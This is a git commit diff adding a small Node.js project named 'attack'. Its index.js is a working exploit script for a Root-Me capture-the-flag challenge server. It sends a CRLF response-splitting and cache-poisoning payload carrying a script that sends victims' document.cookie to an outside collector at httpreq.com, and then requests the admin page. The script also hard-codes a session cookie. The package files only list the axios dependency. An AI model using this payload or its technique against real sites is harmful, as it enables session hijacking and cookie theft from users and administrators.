init

attack/index.js

@@ -0,0 +1,46 @@
+/*  -------------------------------
+    ---       IMPORTS           ---
+    ------------------------------- */
+
+const axios = require('axios').default;
+
+
+/*  -------------------------------
+    ---          DATA           ---
+    ------------------------------- */
+
+const BASE_URL = "http://challenge01.root-me.org:58002/";
+
+const PAYLOAD = "%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AHost:%20challenge01.root-me.org:58002%0D%0ALast-Modified:%20Tue,%2017%20Nov%202020%2020:46:59%20GMT%0D%0AContent-Type:%20text/html%0D%0AContent-Length:%20112%0D%0A%0D%0A%3Cscript%3Elocation.replace%28%22https%3A%2F%2Fhttpreq.com%2Fthrobbing-cake-4l8suii2%2Frecord%22%20%2B%20%22%3F%22%20%2B%20document.cookie%29%3B%3C%2Fscript%3E"
+
+let cookie = "ebbbd859-1dce-438f-9b9e-46b895fcb169";
+
+const USER_COOKIE = "user_session=" + cookie;
+
+
+/*  -------------------------------
+    ---         PROCESS         ---
+    ------------------------------- */
+
+// Launching initial request to the website for code injection
+axios.get(BASE_URL + 'user/param?lang=fr' + PAYLOAD, {
+  headers: {
+              Cookie: USER_COOKIE,
+              Pragma: "no-cache"
+  }
+}).then(function (response) {
+    console.log("Payload injected successfully to the base web page.");
+
+    // Start second fetch to poison right uk-icon-page
+    axios.get(BASE_URL + 'admin', {
+      headers: {
+        Cookie: USER_COOKIE
+      }
+    }).then(function (response) {
+        console.log("Admin page visited successfully.");
+    }).catch(function (error) {
+      console.log("An error occured while visiting admin page.");
+    });
+}).catch(function (error) {
+    console.log("An error occured while injecting payload.");
+});

attack/package-lock.json

@@ -0,0 +1,21 @@
+{
+  "name": "attack",
+  "version": "1.0.0",
+  "lockfileVersion": 1,
+  "requires": true,
+  "dependencies": {
+    "axios": {
+      "version": "0.21.0",
+      "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.0.tgz",
+      "integrity": "sha512-fmkJBknJKoZwem3/IKSSLpkdNXZeBu5Q7GA/aRsr2btgrptmSCxi2oFjZHqGdK9DoTil9PIHlPIZw2EcRJXRvw==",
+      "requires": {
+        "follow-redirects": "^1.10.0"
+      }
+    },
+    "follow-redirects": {
+      "version": "1.13.0",
+      "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.13.0.tgz",
+      "integrity": "sha512-aq6gF1BEKje4a9i9+5jimNFIpq4Q1WiwBToeRK5NvZBd/TRsmW8BsJfOEGkr76TbOyPVD3OVDN910EcUNtRYEA=="
+    }
+  }
+}

attack/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "attack",
+  "version": "1.0.0",
+  "description": "",
+  "main": "index.js",
+  "scripts": {
+    "test": "echo \"Error: no test specified\" && exit 1"
+  },
+  "author": "",
+  "license": "ISC",
+  "dependencies": {
+    "axios": "^0.21.0"
+  }
+}